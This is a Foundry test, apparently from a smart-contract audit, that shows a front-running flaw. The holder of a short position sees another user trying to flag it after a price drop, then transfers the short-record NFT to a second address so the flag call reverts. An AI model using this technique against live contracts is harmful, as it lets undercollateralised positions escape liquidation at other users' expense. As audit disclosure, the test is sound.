```\n function test_audit_frontrunFlagShort() public {\n  address alice = makeAddr("Alice"); //Alice will front-run Bob's attempt to flag her short\n  address aliceSecondAddr = makeAddr("AliceSecondAddr");\n  address bob = makeAddr("Bob"); //Bob will try to flag Alice's short \n  address randomUser = makeAddr("randomUser"); //regular user who created a bid order\n  \n  //A random user create a bid, Alice create a short, which will match with the user's bid\n  fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, randomUser);\n  fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, alice);\n  //Alice then mint the NFT associated to the SR so that it can be transfered\n  vm.prank(alice);\n  diamond.mintNFT(asset, Constants.SHORT_STARTING_ID);\n\n  //ETH price drops from 4000 to 2666, making Alice's short flaggable because its < LibAsset.primaryLiquidationCR(asset)\n  setETH(2666 ether);\n  \n  // Alice saw Bob attempt to flag her short, so she front-run him and transfer the SR\n  vm.prank(alice);\n  diamond.transferFrom(alice, aliceSecondAddr, 1);\n  \n  //Bob's attempt revert because the transfer of the short by Alice change the short status to SR.Cancelled\n  vm.prank(bob);\n  vm.expectRevert(Errors.InvalidShortId.selector);\n  diamond.flagShort(asset, alice, Constants.SHORT_STARTING_ID, Constants.HEAD);\n } \n```\n